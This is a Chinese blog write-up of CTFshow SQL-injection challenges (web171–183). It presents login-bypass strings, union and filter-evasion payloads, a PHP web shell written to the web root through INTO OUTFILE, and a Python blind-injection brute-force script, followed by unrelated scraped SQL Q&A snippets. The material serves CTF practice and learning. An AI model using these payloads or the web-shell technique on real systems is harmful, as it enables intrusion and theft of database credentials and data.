【CTF】CTFshow-SQL注入(持续更新)

2023-10-29

【CTF】CTFshow-SQL注入(持续更新)

​ 就剩一年的大学时光了,最近也很迷茫,想找实习,又得考托福,又想提前开始毕设,假期前又要上学校安排的实训,马上还又有一门考试,事情一堆,但又感觉整天不知道自己应该做什么。

​ 在过完了我给自己安排的两个gap day后,想着那就索性照着实训的安排给自己再简简单单过一遍SQL注入吧,顺便把CTFshow刷一刷。

万能密码

普通万能密码:

' or 1=1#
' or 1=1--+

骚套路万能密码:

ffifdyop
经过md5加密后:276f722736c95d99e921722cf9ed621c
再转换为字符串:'or'6<乱码>`'or'66�]��!r,��b`
select * from admin where password=''or'6<乱码>' 
就相当于select * from admin where password=''or 1 实现sql注入

新型万能密码:

(刚看到的一个网站中写到的)

当所有能用的东西都被过滤了,即可使用:

username =  secpulse'='  password = secpulse'='
拼接起来就是:
select * from table where username='secpulse'='' and passowrd = 'secpulse'='';
sql解释引擎是从左至右执行: 数据库没有secpulse这个用户,结果是false false = '' 结果就是true
CTFshow-web171:

payload:

1' or 1=1%23

Union联合注入

找到注入点后,用order by判断列数,构造payload,即可在联合查询中执行自己所想执行的查询命令

CTFshow-web172:

payload:

题目:

会判断username中是否存在flag字样:
if($row->username!=='flag'){
      $ret['msg']='查询成功';
}
SQL源码:
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

因为username中不能出现flag字符串,可以用hex编码或base64绕过:

payload1:
-1' union select hex(username),password from ctfshow_user2 where username='flag
payload2:
-1' union select to_base64(username),password from ctfshow_user2 where username='flag
CTFshow-web173:

和web172不同的是这题对回显的内容也做了判断

if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
}

payload:

1' union select 1,2,password from ctfshow_user3 where username='flag'%23
CTFshow-web174:

replace替换绕过过滤

从源码看出本题不允许返回的内容中有数字,可以使用replace将各个被过滤的字符进行替换,收到后再将其替换回即可:

构造替换脚本:

i = 0
s = f"replace(password,'{i}','xx{chr(i + 65)}')"
for i in range(1,10):
    s = f"replace({s},'{i}','xx{chr( i + 65)}')"
    print(s)

通过replace的替换,可以将返回值中的数字都替换成指定的xxX形式的字符串,然后将得到的结果在替换回来并解码即可:

rsl='xxGxxDxxHxxExxGxxGxxHxxDxxGxxIxxGFxxHxxHxxHBxxGxxFxxDxxGxxDxxHxxGxxDxxD' \
    'xxHxxDxxCxxGxxBxxDxxHxxCDxxDxxGxxGxxCxxGxxDxxDxxAxxCDxxDxxExxGxxExxGxxExxD' \
    'xxFxxCDxxDxxIxxDxxIxxGxxBxxDxxIxxCDxxGxxDxxGxxDxxDxxGxxGxxGxxDxxFxxGxxGxxDxx' \
    'FxxDxxAxxDxxBxxGxxDxxDxxDxxGxxBxxHD'
rsl=rsl.replace('xxA','0').replace('xxB','1').replace('xxC','2').replace('xxD','3').replace('xxE','4')\
    .replace('xxF','5').replace('xxG','6').replace('xxH','7').replace('xxI','8').replace('xxJ','9')
flag = bytes.fromhex(rsl).decode("ascii")
print(flag)

注入点写文件

CTFshow-web175

从本题逻辑可以看出,本题不允许返回hex编码为0x00-0x7f区域内的内容,因此本题是无法正常返回我们的查询结果的,可以考虑使用into outfile的方法将一句话木马写到指定的文件中,使用蚁剑:

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
}

payload:

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile'/var/www/html/1.php

蚁剑连接后在config.php中找到数据库的用户密码,登录即可查询flag

$dbhost ="127.0.0.1";

$dbuser = "root";

$dbpwd = "root";

$dbname = "ctfshow_web";

$charName = "utf-8"; 
SELECT * from ctfshow_user5;

绕过select过滤

CTFshow-web176:

这题使用先想到用联合查询,但发现被过滤了,但是!这题原来用万能密码就能出:

payload:

1' or 1=1--+

绕过空格过滤

CTFshow-web177

payload:

1'/**/or/**/1=1%23
CTFshow-web178

过滤了#、–、/**/(反正都用不了),用%0a代替空格构造

payload:

-1'%0aunion%0aselect%0a1,group_concat(password),3%0afrom%0actfshow_user%23
CTFshow-web179

本题把%0a也给过滤了,使用%0c也可以实现绕过空格的效果

payload:

1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23
CTFshow-web180

这题多过滤了一个%23注释,就用单引号闭合的方式吧

payload:

-1'union%0cselect%0c1,group_concat(password),3%0cfrom%0cctfshow_user%0cwhere'1'='1
CTFshow-web181

题目:

function waf($str){
	return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

本题过滤的有点彻底,看了其他师傅的WP后,原来还可以:

0'||username='flag

在MySQL中,||表示的是或符号,由于前方的id为0时无数据,因此会显示username=‘flag的内容。

CTFshow-web182

题目

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

payload:

-1'or(id=26)and'1'='1

盲注

盲注可以分为时间盲注和布尔盲注

时间盲注:

使用if判断、sleep函数,通过页面的回显时间是否存在延时来判断是否可注入。

布尔盲注:

通过页面的返回状态进行拆解

CTFshow-web183

题目:

waf部分:
//对传入的参数进行了过滤
function waf($str){
	return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
sql部分:
    $sql = "select count(pass) from ".$_POST['tableName'].";";

过滤较多,常规的盲注用不了,可以考虑使用Mysql的正则regexp

基本用法:

select * from table_name where name like 'Sunny';
select * from table_name where name regexp 'Sunny';
select column_name from table_name where column regexp 'flag|ctfshow'
select column_name from table_name where column regexp '[0-9]test'

本题参数使用的post传参,exp:

import requests
import string

url="http://6c365f8a-328f-4768-b99a-e75bc2a72ddd.challenge.ctf.show/select-waf.php"
flag=""
strr=string.ascii_lowercase+"_-{}"+string.digits

for i in range(50):
    for j in strr:
        payload = "(ctfshow_user)where(pass)regexp\"ctfshow{" + flag + j +"\""
        data = {
            "tableName": payload
        }
        re = requests.post(url, data=data)
        if "$user_count = 1" in re.text:
            flag += j
    if flag[-1] == '}':
        print(flag)

这题exp很奇怪,我刚开始在找到一个能够正常回显的flag字符位的时候就break跳出这一位的判断,但是当匹配到0}的时候居然也能够正常返回,最后出来的flag就怪怪的,后面看了其他师傅的wp改了一下就正常了。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【CTF】CTFshow-SQL注入(持续更新) 的相关文章

  • 在没有条件的情况下,如何使查询不返回任何内容?

    相当简单 我有一对多 多对一关系 我想查询它 但是 当未提供任何 WHERE 子句信息时 我不希望返回任何结果 简单来说 如何使查询变得非贪婪 您可以添加一个始终为 false 的 where 子句 并附加您想要用 OR 提供的条件 sel
  • MySQL:错误 1215 (HY000):无法添加外键约束

    我读过了数据库系统概念 第六版 西尔伯沙茨 我将在 OS X 上的 MySQL 上实现第 2 章中所示的大学数据库系统 但我在创建表格时遇到了麻烦course 桌子department好像 mysql gt select from depa
  • 查询 ssisdb 以查找包的名称

    我正在查询 ssis 目录以找出目录中所有包的名称 Folder1项目中只有6个包 但查询却给出了9条记录 1 SELECT P NAME FROM SSISDB internal projects PRJ INNER JOIN SSISD
  • 正则表达式中 (*) 和 .* 有什么区别? [复制]

    这个问题在这里已经有答案了 是任意字符零次或多次 我试图找到以元音开头的单词 我用了 aeiou 它给了我所有以元音开头的单词 当我这样做时给出相同的结果 aeiou 现在我正在寻找以元音结尾的单词 我做到了 aeiou 它没有给出任何结果
  • 计算日期之间的差异 - Postgres

    我需要计算 3 个不同日期的天数 我需要运行逻辑以从下面的伪逻辑获取整数值 future date 1 future date 2 今天 如何在 PostgreSQL 中实现这一点 为了实现日期相差天数 SELECT DATE PART d
  • 根据另一个表中的值查找总计数

    在Mysql中 我的表中有具有重复值的城市 表城市 Name New York USA New York USA Chicago USA Chicago USA Chicago USA Paris France Nice France Mi
  • 在数据库中存储多维数组:关系数组还是多维数组?

    我读过很多类似的帖子多维到单维 多维数据库等等 但没有一个答案有帮助 我确实在谷歌上找到了很多文档 但只提供了背景信息 并没有回答手头的问题 我有很多彼此相关的字符串 PHP 脚本中需要它们 结构是分层的 这是一个例子 A AA AAA A
  • 查找某个字段发生更改时的开始日期和结束日期

    我在表中有这些数据 FIELD A FIELD B FIELD D 249052903 10 15 2011 N 249052903 11 15 2011 P VALUE CHANGED 249052903 12 15 2011 P 249
  • SQL Server 中的循环行

    我有一个包含 2 列的 SQL Server 表 Code 和 CodeDesc 我想使用 T SQL 循环遍历行并打印 CodeDesc 的每个字符 怎么做 如果您确实想循环遍历行 则需要光标 CURSOR http msdn micro
  • 我忘记了分号“;”在 MySQL 终端查询中。我该如何退出?

    有时我忘记用分号 结束 SQL 查询 在我的 Mac 终端中 发生这种情况时 终端会设置一个 gt 一开始我无法退出此命令或运行任何其他 SQL 命令 我该如何退出 你不知道mysql终端有5种不同的报价模式 我建议你回顾一下它们 http
  • ORA-01741: 非法的零长度标识符

    您好 我在 shell 脚本中使用删除查询 并且遇到了这个问题 delete from WHITELIST CLI where filecode like Line Index condense Error ERROR ORA 01741
  • 将文件保存为 MYSQL 数据库中的 blob 或文件路径

    我知道这些问题是常见问题之一 但我需要您针对具体案例提供帮助 我正在开发一个应用程序 其中一些用户可以添加订单 一些用户可以执行这些订单 这些订单非常具体 因此只有有限数量的用户可以添加它们 然后 为每个订单生成三个文档 每个文档的大小不超
  • SQL 性能除外

    我尝试使用类似于以下查询的查询来查找两个表之间的差异 DEV 数据库与 TEST 数据库中的同一个表 每个表有约 30K 行和约 5 列 select field1 field2 field3 field4 field5 from dev
  • 如何使用 SQLalchemy 连接三个表并将所有列保留在其中一个表中?

    所以 我有三张表 类定义 engine create engine sqlite test db echo False SQLSession sessionmaker bind engine Base declarative base cl
  • MySQL:通过迭代并与另一行连接来更新表中的行

    我有一张表纸 CREATE TABLE papers id int 11 NOT NULL AUTO INCREMENT title varchar 1000 CHARACTER SET utf8 COLLATE utf8 unicode
  • 在 SQL 表中的文本字符串中查找换行符?

    我试图在 SQL 表的列中查找换行符和回车符 但我不确定语法 I tried SELECT foo FROM test WHERE foo LIKE CHAR 10 尽管我知道该表应该返回结果 但我没有得到任何结果 我究竟做错了什么 SEL
  • 如何提取 MySQL 日期中的月份和年份并进行比较?

    如何从 mySQL 日期中提取月份和日期并将其与另一个日期进行比较 我找到了 this MONTH 但它只获取月份 我寻找月份和年份 在Mysql Doku中 http dev mysql com doc refman 5 5 en dat
  • MySQL SUM 具有相同的 ID

    抱歉 这个真正简单的问题 我刚刚学习 PHP 和 MySQL 我已经在谷歌上搜索了一个多星期 但没有找到任何答案 我创建了一个简单的财务脚本 表格如下 table a aid value 1 100 2 50 3 150 table b b
  • SQL Server T-SQL 中的 REGEXP_LIKE 转换

    我在一份需要转换为 SQL Server 的旧报告中遇到了这一行 REGEXP LIKE examCodes learner code examCodes 是源 learner code 是模式 我知道 SQL Server 没有 REGE
  • mysql 查询从给定的表结构创建 SEO 友好的 url

    我正在尝试使用下表创建 SEO 友好的 URL 类别表 http sqlfiddle com 2 c474a 4 页表 http sqlfiddle com 2 c474a 5 我正在尝试编写一个 mysql 查询 该查询将使用产生以下输出

随机推荐

  • Pycharm安装并搭建Tensorflow开发环境

    Pycharm安装并搭建Tensorflow开发环境 下载并安装pycharm 1 下载 2 pycharm配置python环境 安装tensorflow 1 输入清华仓库镜像 2 创建tensorflow环境 3 启动tensorflow
  • 如何确定K-means算法中的k值?

    1 K means算法 k means算法是机器学习中常用的聚类算法 原理简单实现容易 内存占用量也比较小 但使用这个方法时 需要事先指定将要聚合成的簇数 在先验知识缺乏的情况下 想要确定是非常困难的 目前常用的用来确定的方法主要有两种 肘
  • Sqli-labs之Less-18和Less-19

    Less 18 基于错误的用户代理 头部POST注入 注 这一个模拟的场景是注册登录后的注入 由题意可知 这又是一种新姿势 老方法 查找注入点 发现前面的方法都未成功 且错误回显与正确回显都显示IP 这里写说几个常用请求头 上一篇文章详细讲
  • C# System.Guid.NewGuid()

    C System Guid NewGuid GUID 即Globally Unique Identifier 全球唯一标识符 也称 作 UUID Universally Unique IDentifier GUID是一个通过特定算法产生的二
  • 【C语言】操作符详解(上篇)

    操作符分类 1 算术操作符 2 移位操作符 2 1整数的二进制表示形式 2 2 左移操作符 lt lt 2 3 右移操作符 gt gt 3 位操作符 3 1 3 2 3 3 4 赋值操作符 5 单目操作符 5 1 单目操作符的介绍 5 2
  • C#: 未能加载文件或程序集“xxx“

    导入数据时 发生了异常 错误日志如下 2023 09 11 09 20 49 304 125 FATAL null NPOI POIXMLException gt System Reflection TargetInvocationExce
  • Android上使用AES加密和解密字符串

    废话少说 直接上类的源码 import android util Base64 import java nio charset StandardCharsets import java util Objects import java ut
  • Android屏幕适配很难嘛其实也就那么回事,面试官不讲武德

    前言 大厂面试一直都是程序员圈内摸鱼时间津津乐道的话题 进大厂想必也是无数程序员的梦想 关于 原理 的问题 几乎是现如今Android开发岗必问的问题 尤其在大厂面试中更为突出 有过大厂面试经验的小伙伴应该知道 大厂的面试官一般会基于你的简
  • MySQL必知必会——第十四章使用子查询

    使用子查询 本章介绍什么是子查询以及如何使用它们 子查询 SELECT语句是SQL的查询 目前我们用的所有SELECT语句都是从单个数据库表中检索数据的单条简单语句 查询 query 任何SQL语句都是查询 但此术语一般指SELECT语句
  • 深度学习之 Keras vs Tensorflow vs Pytorch 三种深度学习框架

    深度学习是人工智能的子集 深度学习模仿人脑处理数据的神经通路 将其用于决策 检测对象 识别语音和翻译语言 它从非结构化和未标记的数据中学习 无需人工监督或干预 深度学习通过使用人工神经网络的层次结构来处理机器学习 人工神经网络的构建类似于人
  • 破解路由器管理登录密码

    破解路由器管理登录密码 Linux内核 准备工具 puttytel登录软件 正式开工 第一步 首先检查自己的路由器的系统 看是不是Linux内核的 只有是Linux内核的路由器才适合本教程 常见基于Linux内核的路由器系统有Openwrt
  • corosync+pacemaker高可用的lvs directory

    实验配置一个corosync pacemaker高可用的lvs directory负载均衡基于ldirectord ldirectord 独立守护进程服务 管理lvs director 1 生成IPvs规则 2 对各RS做健康状态监测 配置
  • 使用miniserve快速搭建文件服务

    当我们想自己搭建一个 HTTP 文件服务向其他人分享文件 或者往其他设备上传输文件时 又不想花费时间去研究 Nginx IIS FTP 这些东西 我们可以通过 miniserve 一键生成简约 美观的文件服务器 访问 miniserve 客
  • 祝贺!Databend Cloud 和阿里云 PolarDB 达成认证

    近日 北京数变科技有限公司旗下产品与阿里云 PolarDB 开源数据库社区展开产品集成认证 测试结果表明 北京数变科技有限公司旗下产品 Databend Cloud V1 25 正式通过了 阿里云 PolarDB 数据库管理软件 的技术认证
  • Docker 安装 Nginx容器 配置以及重新生成镜像

    目录 1 查看是否存在nginx镜像 2 搜索可用的nginx镜像 下载nginx镜像 3 创建并启动nginx容器 4 进入容器 对相关文件进行配置 5 更新镜像 6 将由容器生成的镜像push到镜像仓库docker hub 基本思路 先
  • 【华为OD机试】单词接龙【2023 B卷

    华为OD机试 真题 点这里 华为OD机试 真题考点分类 点这里 题目描述 单词接龙的规则是 可用于接龙的单词首字母必须要前一个单词的尾字母相同 当存在多个首字母相同的单词时 取长度最长的单词 如果长度也相等 则取字典序最小的单词 已经参与接
  • 缓冲区溢出基础与实践

    目录 实验目的 预备知识 缓冲区溢出 MS12 020漏洞 Metasploit工具 实验环境 实验步骤一 实验步骤二 实验步骤三 实验目的 1 理解缓冲区溢出的原理与危害 2 了解防范缓冲区溢出的基本方法 3 了解常见的缓冲区溢出攻击 预
  • 第二天weex——flex布局

    flex布局 前言 之间陆陆续续的写过前端页面 对于布局方式几乎是不懂的 后来接触了flex布局就打算认真学习一番 对于flex布局是一种灵活布局 弹性盒子 flex 关于flex它有两条轴线 flex direction定义的是主轴线与之
  • antd-vue 表格树下级展开不了,点击展开没反应

    项目场景 项目中需要使用表格树 问题描述 使用antd vue的表格组件 其中数据是树的结构时 使用的是表格树 但渲染之后发现父级点击 号展开不了子级行 检查了数据发现也没有问题 该有的字段都有 有children字段 原因分析 解决方案
  • 【CTF】CTFshow-SQL注入(持续更新)

    CTF CTFshow SQL注入 持续更新 就剩一年的大学时光了 最近也很迷茫 想找实习 又得考托福 又想提前开始毕设 假期前又要上学校安排的实训 马上还又有一门考试 事情一堆 但又感觉整天不知道自己应该做什么 在过完了我给自己安排的两个